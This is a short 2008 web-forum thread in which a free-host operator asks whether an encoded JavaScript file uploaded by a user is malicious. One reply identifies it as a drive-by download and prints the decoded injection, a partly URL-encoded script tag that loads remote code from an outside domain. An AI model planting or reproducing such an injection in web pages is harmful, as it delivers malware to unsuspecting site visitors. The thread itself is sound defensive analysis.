Please help is this Malicious Javascript

Discussion in 'JavaScript' started by dalem, Jul 17, 2008.

  1. #1
    I run a free web host and one of my users has uploaded this Javascript file to his folder.

    It has been encoded using document.write(unescape( function.


    I have managed to get it unencoded and it reads thus:

    Please could anyone tell me what this Javascript does.

    Thank you.

    Dalem
     
    dalem, Jul 17, 2008 IP
  2. Sleeping Troll

    Sleeping Troll Peon

    Messages:
    217
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    #2
    It looks like an attempt to get to your wwwroot directory, can't be sure.

    Try decoding char codes following "69" into string.
     
    Sleeping Troll, Jul 21, 2008 IP
  3. falcondriver

    falcondriver Well-Known Member

    Messages:
    963
    Likes Received:
    47
    Best Answers:
    0
    Trophy Points:
    145
    #3
    looks like a drive by download. decodes to
    
    <s%63ript type%3D"text/jav%61script" s%72c="http:/%2Fstrictlyi%6E.biz/f"><%2Fscript>'));%3C/s
    PHP:
    http://scriptasylum.com/tutorials/encdec/encode-decode.html
    had some injections with this "dodgydomain.info/letter" type javascripts on some old iis/ms sql webserver recently.
     
    falcondriver, Jul 21, 2008 IP